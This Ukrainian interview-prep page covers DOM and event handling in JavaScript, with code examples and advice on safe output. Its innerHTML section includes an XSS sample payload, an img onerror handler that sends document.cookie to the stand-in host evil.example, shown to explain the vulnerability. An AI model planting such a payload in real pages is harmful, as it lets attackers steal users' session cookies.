Увійти Реєстрація
Блог Серії
Кар'єра
Вакансії Компанії
Навчання
Документація Співбесіди Тестування Відео
Екосистема
Пакети Ресурси Проєкти Інструменти Події
Інше
Про нас Реклама

Питання на співбесіді: DOM і події

Питання з реальних співбесід з відповідями: Laravel і PHP, бази даних, JavaScript і фронтенд, Git, Docker, API, безпека й архітектура. Тими самими темами, що й тести.

12 питань

element.onclick = fn - лише один обробник: наступне присвоєння перезаписує попередній. addEventListener додає скільки завгодно обробників на одну подію й має налаштування.

button.onclick = () => track('click');
button.onclick = () => openModal();   // track більше не спрацює

button.addEventListener('click', () => track('click'));
button.addEventListener('click', () => openModal()); // спрацюють обидва

Опції addEventListener:

  • once: true - обробник автоматично знімається після першого спрацювання.
  • passive: true - обіцянка не викликати preventDefault(). Для touchstart/wheel це дозволяє браузеру прокручувати сторінку плавно, не чекаючи обробника.
  • capture: true - обробник спрацює на фазі перехоплення, ще до цільового елемента.
  • signal - зняти обробник через AbortController, зручно для кількох обробників одразу.

Зняти обробник можна лише тим самим посиланням на функцію:

function onResize() { /* ... */ }
window.addEventListener('resize', onResize);
window.removeEventListener('resize', onResize);   // працює

window.addEventListener('resize', () => {});
window.removeEventListener('resize', () => {});   // нічого не зніме: інша функція

Атрибути в HTML (<button onclick="...">) - найгірший варіант: код змішано з розміткою, а суворий Content Security Policy такі обробники блокує.

Докладніше в документації: addEventListener()

Події:

  • DOMContentLoaded - HTML повністю розібрано, DOM готовий. Зображення, стилі (крім тих, що блокують скрипти) й iframe ще можуть вантажитися. Тут зазвичай ініціалізують скрипти.
  • load (на window) - завантажено все: зображення, шрифти, iframe. Відбувається пізніше, часто значно.

Звичайний <script src> у <head> зупиняє розбір HTML, доки скрипт не завантажиться й не виконається. Сторінка «біла», а скрипт ще й не бачить елементи нижче.

  • defer - завантажити паралельно з розбором, а виконати після розбору HTML, перед DOMContentLoaded, у порядку появи в документі.
  • async - завантажити паралельно й виконати, щойно завантажився, у довільному порядку, перериваючи розбір.
<script defer src="/app.js"></script>        <!-- основний код, залежить від DOM -->
<script async src="/analytics.js"></script>  <!-- незалежний, порядок не важливий -->
<script type="module" src="/main.js"></script> <!-- модулі поводяться як defer -->

Правило: код застосунку - defer (або type="module"), незалежні сторонні скрипти (аналітика, віджети) - async. Розміщувати скрипти в кінці <body> - старий спосіб досягти схожого ефекту; з defer у цьому немає потреби.

Докладніше в документації: DOMContentLoaded

querySelector(selector) повертає перший елемент, що відповідає CSS-селектору, або null. querySelectorAll(selector) - усі відповідні елементи.

const form = document.querySelector('#order-form');
const firstError = document.querySelector('.field.is-invalid input');
const buttons = document.querySelectorAll('[data-action="delete"]');

buttons.forEach((button) => button.addEventListener('click', onDelete));

Селектор - будь-який валідний CSS: класи, атрибути, псевдокласи (:checked, :not(...)), комбінатори.

querySelectorAll повертає статичний NodeList - знімок на момент виклику. Елементи, додані пізніше, у ньому не з'являться. У NodeList є forEach, але немає map і filter - для них [...nodes] чи Array.from(nodes).

Старші методи:

  • getElementById('id') - найшвидший пошук за id, повертає елемент або null;
  • getElementsByClassName, getElementsByTagName - повертають живу HTMLCollection, яка оновлюється разом з DOM. Це може дивувати: видалення елементів у циклі по такій колекції пропускає кожен другий.

Пошук не лише від document. Усі методи працюють і на елементі - пошук тоді обмежується його нащадками:

const card = document.querySelector('.product-card');
const price = card.querySelector('.price');

closest(selector) шукає вгору - найближчого предка (або сам елемент), що відповідає селектору. Незамінний при делегуванні подій:

document.addEventListener('click', (event) => {
  const row = event.target.closest('tr[data-id]');
  if (row) openOrder(row.dataset.id);
});

matches(selector) - чи відповідає сам елемент селектору.

Пастки:

  • перевіряти на null: document.querySelector('.missing').classList кине TypeError. Або ?., або явна перевірка;
  • id, що починаються з цифри чи містять спецсимволи, треба екранувати в селекторі: document.querySelector(`#${CSS.escape(id)}`);
  • скрипт виконується до розмітки: якщо <script> у <head> без defer, елементів ще немає. Розв'язується атрибутом defer чи type="module";
  • динамічний вміст (Livewire, Alpine, підвантаження) замінює елементи - збережені посилання вказують на вузли, яких уже немає на сторінці. Делегування подій чи повторний пошук після оновлення.

Докладніше в документації: Document.querySelector()

Це два незалежні механізми, які часто плутають.

preventDefault() скасовує стандартну дію браузера для події:

form.addEventListener('submit', async (event) => {
  event.preventDefault();             // не перезавантажувати сторінку
  await fetch(form.action, { method: 'POST', body: new FormData(form) });
});

link.addEventListener('click', (event) => {
  event.preventDefault();             // не переходити за посиланням
  openModal(link.href);
});

Типові стандартні дії: відправка форми, перехід за посиланням, встановлення галочки чекбокса, введення символу в поле при keydown, контекстне меню при правому кліку, прокрутка колесом.

stopPropagation() зупиняє поширення події DOM-деревом: батьківські елементи її не отримають.

dropdown.addEventListener('click', (event) => {
  event.stopPropagation();   // клік усередині меню не дійде до document
});

document.addEventListener('click', () => closeAllDropdowns());

Стандартна дія при цьому не скасовується: посилання всередині все одно спрацює.

stopImmediatePropagation() - ще й не викликати інші обробники цього самого елемента, зареєстровані пізніше.

Чому stopPropagation варто уникати:

  • він ламає код, що спирається на спливання: делегування подій, аналітику, закриття випадних меню кліком поза ними, обробники фреймворків на document;
  • проблему зазвичай краще вирішити перевіркою в батьківському обробнику: if (dropdown.contains(event.target)) return;.

return false в обробнику, призначеному через onclick="...", скасовує стандартну дію. В addEventListener повернене значення ігнорується - потрібен явний preventDefault().

Пасивні обробники ({ passive: true }) обіцяють браузеру, що preventDefault() не буде викликано. Тоді браузер може почати прокрутку, не чекаючи на обробник. Виклик preventDefault() у пасивному обробнику ігнорується (з попередженням у консолі).

Перевірка: event.defaultPrevented показує, чи хтось уже скасував стандартну дію - корисно, щоб не обробляти подію двічі.

У фреймворках: Alpine @submit.prevent, @click.stop; Livewire wire:submit сам скасовує стандартну відправку форми; Vue - ті самі модифікатори .prevent і .stop.

Докладніше в документації: Event.preventDefault()

Подія в DOM проходить три фази:

  1. Перехоплення (capture) - від window вниз до цільового елемента.
  2. Ціль - на самому елементі.
  3. Спливання (bubble) - назад угору до window.

Обробники за замовчуванням спрацьовують на фазі спливання. Тому клік по кнопці в картці «бачать» і кнопка, і картка, і document.

Делегування - один обробник на спільному предку замість обробника на кожному елементі:

document.querySelector('#todo-list').addEventListener('click', (event) => {
  const button = event.target.closest('[data-action="delete"]');
  if (!button) return;

  removeTodo(button.dataset.id);
});

Переваги:

  • Працює для елементів, доданих пізніше (підвантажені рядки, нові пункти списку) - не треба вішати обробники заново.
  • Один обробник замість тисячі - менше пам'яті й простіше прибирання.

Що треба знати:

  • event.target - елемент, на якому подія виникла (може бути <span> всередині кнопки). event.currentTarget - елемент, на якому висить обробник. Звідси closest() у прикладі.
  • stopPropagation() зупиняє спливання, але ламає делегування й аналітику вище за деревом. Використовувати обережно.
  • Не всі події спливають: focus/blur - ні (зате спливають focusin/focusout), mouseenter/mouseleave - ні (спливають mouseover/mouseout).

Докладніше в документації: Спливання подій

innerHTML розбирає рядок як HTML. Якщо в рядку є дані від користувача, нападник може вставити розмітку, що виконає його JavaScript - це XSS.

comment.innerHTML = `<p>${userInput}</p>`;
// userInput = '<img src=x onerror="fetch(`https://evil.example/?c=${document.cookie}`)">'

Тег <script>, вставлений через innerHTML, не виконується, але обробники-атрибути (onerror, onload) - виконуються, тож цього захисту недостатньо.

Безпечні альтернативи:

  • textContent - для тексту. Усе виводиться як текст, без розбору HTML:
paragraph.textContent = userInput;
  • Створення елементів через DOM API:
const link = document.createElement('a');
link.href = url;            // але перевірте схему: javascript:-посилання теж XSS
link.textContent = title;
list.append(link);
  • Шаблони фреймворків (Vue {{ }}, JSX, Blade {{ }}) екранують дані автоматично. Небезпечні їхні «сирі» варіанти: v-html, dangerouslySetInnerHTML, {!! !!}.
  • Якщо HTML від користувача справді потрібен (редактор форматованого тексту) - лише після санітайзера на зразок DOMPurify, з білим списком тегів і атрибутів.

Додатковий рівень захисту - Content Security Policy, яка забороняє інлайнові скрипти й обробники. Вона не замінює екранування, але ускладнює експлуатацію пропущеної вразливості.

innerHTML також повільніший і знищує обробники подій та стан елементів, які перезаписує.

Докладніше в документації: Element.innerHTML

Усі три властивості читають і записують вміст елемента, але різними способами.

textContent - сирий текст усіх вузлів-нащадків, як він є в DOM:

  • повертає текст прихованих елементів (display: none), вміст <script> і <style>;
  • зберігає пробіли й переноси рядків з розмітки;
  • не викликає перерахунку стилів - швидкий;
  • при записі вставляє текст, а не розмітку: <b> стане видимими символами.

innerText - текст як його бачить користувач:

  • враховує CSS: приховані елементи не потрапляють у результат, text-transform: uppercase змінює регістр, блокові елементи дають переноси рядків;
  • для цього браузер мусить розрахувати розкладку (layout). Читання innerText у циклі - джерело примусових перерахунків і повільної сторінки;
  • при записі теж вставляє текст, але перетворює \n на <br>.

innerHTML - розмітка як рядок HTML:

  • при читанні - серіалізований HTML нащадків;
  • при записі - розбирає рядок як HTML, видаляючи старих нащадків разом з їхніми обробниками подій.
const name = '<img src=x onerror="stealCookies()">';

title.textContent = name;   // безпечно: показується як текст
title.innerHTML = name;     // XSS: виконається onerror

Що обирати:

Задача Властивість
вивести дані користувача чи API textContent
прочитати текст для копіювання так, як його бачать innerText
вставити довірену розмітку з власного шаблону innerHTML (або краще createElement / <template>)

Для запису тексту за замовчуванням - textContent: він швидший і безпечний. Це той самий принцип, що й {{ }} у Blade, який екранує HTML, на відміну від {!! !!}.

Ще варіанти: element.append('текст') теж додає текст безпечно; insertAdjacentHTML('beforeend', html) вставляє розмітку, не руйнуючи наявних нащадків (але так само небезпечний для недовірених даних).

value для полів форми: вміст <input> і <textarea> - це властивість value, а не textContent.

Докладніше в документації: Node.textContent

Крім вбудованих подій (click, submit), можна створювати власні - щоб частини інтерфейсу спілкувалися, не знаючи одна про одну.

// компонент кошика повідомляє, що змінилася кількість товарів
const event = new CustomEvent('cart:updated', {
  detail: { count: 3, total: 1250 },
  bubbles: true,
});
cartElement.dispatchEvent(event);

// лічильник у шапці слухає, не знаючи про кошик нічого, крім назви події
document.addEventListener('cart:updated', (event) => {
  badge.textContent = event.detail.count;
});

Параметри:

  • detail - довільні дані події;
  • bubbles: true - подія спливає до предків. За замовчуванням false: без цього її почують лише обробники на самому елементі, і слухач на document мовчатиме - найчастіша помилка;
  • cancelable: true - слухачі можуть викликати preventDefault(), а той, хто відправив подію, - перевірити результат:
const allowed = form.dispatchEvent(new CustomEvent('order:before-submit', { cancelable: true, bubbles: true }));
if (!allowed) return;   // хтось із слухачів скасував
  • composed: true - подія перетинає межу Shadow DOM (для веб-компонентів).

dispatchEvent синхронний: усі обробники виконуються до того, як виклик поверне керування. Це не черга повідомлень.

Назви подій - з префіксом-простором імен (cart:updated, modal:open), щоб не зіткнутися з вбудованими чи чужими подіями.

Де це використовується у TALL-стеку:

  • Alpine: $dispatch('notify', { message: 'Збережено' }) створює CustomEvent зі спливанням, а @notify.window="..." слухає його на window;
  • Livewire: $this->dispatch('post-created') у PHP доходить до браузера як подія, яку слухають через Livewire.on(...) чи @post-created.window в Alpine. Так серверний компонент повідомляє JavaScript-коду про зміни;
  • інтеграція сторонніх бібліотек (редакторів, карт): бібліотека відправляє подію, Alpine чи Livewire її підхоплюють.

Альтернатива без DOM - EventTarget як шина подій: const bus = new EventTarget(); і ті самі addEventListener/dispatchEvent, коли прив'язка до елемента не потрібна.

Докладніше в документації: CustomEvent

Щоб показати сторінку, браузер рахує layout (розміри й позиції елементів, у Firefox це називають reflow), а потім paint - малює пікселі, і composite - збирає шари.

  • Reflow (layout) - перерахунок геометрії. Дорогий: зміна розміру одного елемента може зачепити батьків, сусідів і нащадків.
  • Repaint - перемальовування без зміни геометрії (колір, тінь). Дешевше.
  • Лише composite - transform і opacity на окремому шарі: найдешевше, часто на GPU.

Layout thrashing - чергування записів і читань геометрії в циклі. Кожне читання (offsetHeight, getBoundingClientRect(), scrollTop) після запису змушує браузер синхронно перерахувати layout:

// Погано: N примусових перерахунків
for (const card of cards) {
  card.style.height = `${card.offsetWidth * 0.75}px`;   // читання після запису попередньої ітерації
}

// Добре: спершу всі читання, потім усі записи
const widths = cards.map((card) => card.offsetWidth);
cards.forEach((card, i) => { card.style.height = `${widths[i] * 0.75}px`; });

Інші правила:

  • Анімувати transform і opacity, а не top, left, width, height.
  • Групувати зміни стилів через клас, а не десяток окремих присвоєнь style.
  • Візуальні оновлення - у requestAnimationFrame, щоб вони збігалися з кадром.
  • content-visibility: auto дозволяє браузеру пропускати layout і paint для невидимих частин довгої сторінки.

Як знайти проблему: вкладка Performance у DevTools - фіолетові блоки «Layout» з попередженням «Forced reflow» показують рядок коду, що спричинив перерахунок.

Докладніше в документації: Reflow

Старий спосіб дізнатися, чи елемент з'явився на екрані, - обробник scroll з getBoundingClientRect() для кожного елемента. Він спрацьовує десятки разів на секунду, виконується в головному потоці й примушує браузер рахувати layout - звідси «смикання» прокрутки.

IntersectionObserver повідомляє, коли елемент перетинає область видимості (або інший елемент-контейнер). Обчислення виконує браузер, асинхронно, без примусового layout.

const observer = new IntersectionObserver((entries) => {
  for (const entry of entries) {
    if (!entry.isIntersecting) continue;

    const img = entry.target;
    img.src = img.dataset.src;   // завантажити зображення
    observer.unobserve(img);     // більше не стежити
  }
}, { rootMargin: '200px' });     // почати трохи заздалегідь

document.querySelectorAll('img[data-src]').forEach((img) => observer.observe(img));

Типові застосування:

  • Нескінченний скрол: спостерігати за «маркером» наприкінці списку й підвантажувати наступну сторінку, коли він стає видимим.
  • Аналітика переглядів: реклама чи блок вважається показаним, коли видно 50% протягом секунди (threshold: 0.5).
  • Анімації при появі, пауза відео поза екраном.

Що варто знати:

  • Для простих зображень лінивого завантаження вже вбудовано: <img loading="lazy">. Спостерігач потрібен для складніших випадків.
  • threshold задає, яку частку елемента має бути видно; rootMargin - розширює чи звужує область перевірки.
  • Спостерігача треба відключати (disconnect()), коли компонент знищено, інакше він триматиме посилання на елементи.
  • Для зміни розміру елементів є споріднений ResizeObserver.

Докладніше в документації: Intersection Observer API

MutationObserver повідомляє про зміни в DOM: додавання й видалення вузлів, зміну атрибутів чи тексту. Він замінив застарілі й повільні mutation events (DOMNodeInserted), які браузери поступово видаляють (Chrome - з версії 127).

const observer = new MutationObserver((mutations) => {
  for (const mutation of mutations) {
    for (const node of mutation.addedNodes) {
      if (node instanceof Element) {
        node.querySelectorAll('[data-tooltip]').forEach(initTooltip);
        if (node.matches('[data-tooltip]')) initTooltip(node);
      }
    }
  }
});

observer.observe(document.body, { childList: true, subtree: true });

Що можна спостерігати (опції observe):

  • childList - додавання й видалення дочірніх вузлів;
  • subtree - разом з усіма нащадками, а не лише прямими дітьми;
  • attributes (+ attributeFilter: ['class', 'disabled'], attributeOldValue) - зміни атрибутів;
  • characterData - зміни тексту у текстових вузлах.

Як він виконується. Колбек викликається асинхронно, пакетом, як мікрозадача після поточного коду. Сто змін в одному циклі - один виклик з масивом записів. Тому він значно дешевший за старі синхронні події.

Де корисний:

  • ініціалізація сторонніх віджетів на вмісті, що з'являється динамічно (підвантаження, Livewire-оновлення, wire:navigate);
  • реакція на зміни, які робить чужий код, якого ви не контролюєте;
  • автоматичні тести й інструменти доступності, що стежать за змінами сторінки.

Підводні камені:

  • subtree: true на document.body - колбек на кожну зміну всієї сторінки. На складних сторінках це відчутно. Спостерігати варто найменший можливий контейнер з мінімумом опцій;
  • нескінченний цикл: колбек змінює DOM у тій самій області - це породжує нові записи. Потрібна перевірка, чи елемент уже оброблено (наприклад, атрибут-позначка);
  • відключення: observer.disconnect() при знищенні компонента, інакше спостерігач триматиме посилання на вузли. takeRecords() дає змогу забрати ще не доставлені записи перед відключенням;
  • не для розміру й видимості: для них є ResizeObserver і IntersectionObserver - зміна розміру не є мутацією DOM.

Альтернатива, якщо ви контролюєте код, що змінює DOM, - викликати ініціалізацію явно чи через власну подію. Спостерігач потрібен саме тоді, коли зміни відбуваються «десь» поза вашим контролем.

Livewire і Alpine самі використовують MutationObserver: Alpine так помічає нові елементи з x-data і ініціалізує їх.

Докладніше в документації: MutationObserver

Веб-компоненти - вбудований у браузер спосіб створювати власні HTML-елементи. Три частини:

1. Користувацькі елементи (custom elements) - власний тег з поведінкою:

class CopyButton extends HTMLElement {
  connectedCallback() {
    this.addEventListener('click', () => {
      navigator.clipboard.writeText(this.getAttribute('text'));
    });
  }
}
customElements.define('copy-button', CopyButton);
<copy-button text="composer require laravel/sanctum">Копіювати</copy-button>

Назва обов'язково містить дефіс - щоб не зіткнутися з майбутніми стандартними тегами. Колбеки життєвого циклу: connectedCallback, disconnectedCallback, attributeChangedCallback (для атрибутів зі списку observedAttributes).

2. Shadow DOM - ізольоване піддерево всередині елемента:

const shadow = this.attachShadow({ mode: 'open' });
shadow.innerHTML = `
  <style>button { color: red; }</style>
  <button><slot></slot></button>
`;
  • стилі сторінки не проникають усередину, а стилі компонента не витікають назовні - справжня ізоляція CSS;
  • document.querySelector не знаходить елементи всередині тіньового дерева;
  • налаштування ззовні - через CSS-змінні (вони успадковуються крізь межу) і ::part().

3. <template> і <slot> - розмітка-заготовка й місця, куди потрапляє вміст, переданий компоненту.

Коли веб-компоненти доречні:

  • елементи, що мають працювати будь-де: у Blade, Vue, React, на статичній сторінці. Дизайн-системи великих компаній і віджети для вбудовування на чужі сайти;
  • ізоляція стилів від CSS сторінки, яку ви не контролюєте;
  • «острівці» інтерактивності на серверно-рендерених сторінках без фреймворку;
  • довговічність: стандарт браузера не застаріває так, як версії фреймворків.

Обмеження:

  • немає реактивності й шаблонізації з коробки: оновлення DOM при зміні даних - вручну (або бібліотека на кшталт Lit);
  • серверний рендеринг Shadow DOM можливий через декларативний <template shadowrootmode="open">, але екосистема тут слабша, ніж у фреймворків;
  • форми: елементи всередині Shadow DOM не беруть участі у відправці форми без ElementInternals;
  • доступність: зв'язки aria-labelledby і for не працюють крізь межу тіньового дерева;
  • Tailwind не стилізує вміст Shadow DOM - глобальні класи туди не потрапляють.

З фреймворками: Vue вміє компілювати компоненти у веб-компоненти (defineCustomElement), React 19 повноцінно підтримує їх як елементи. Alpine і Livewire працюють з користувацькими елементами як із звичайними тегами (без Shadow DOM).

Докладніше в документації: Веб-компоненти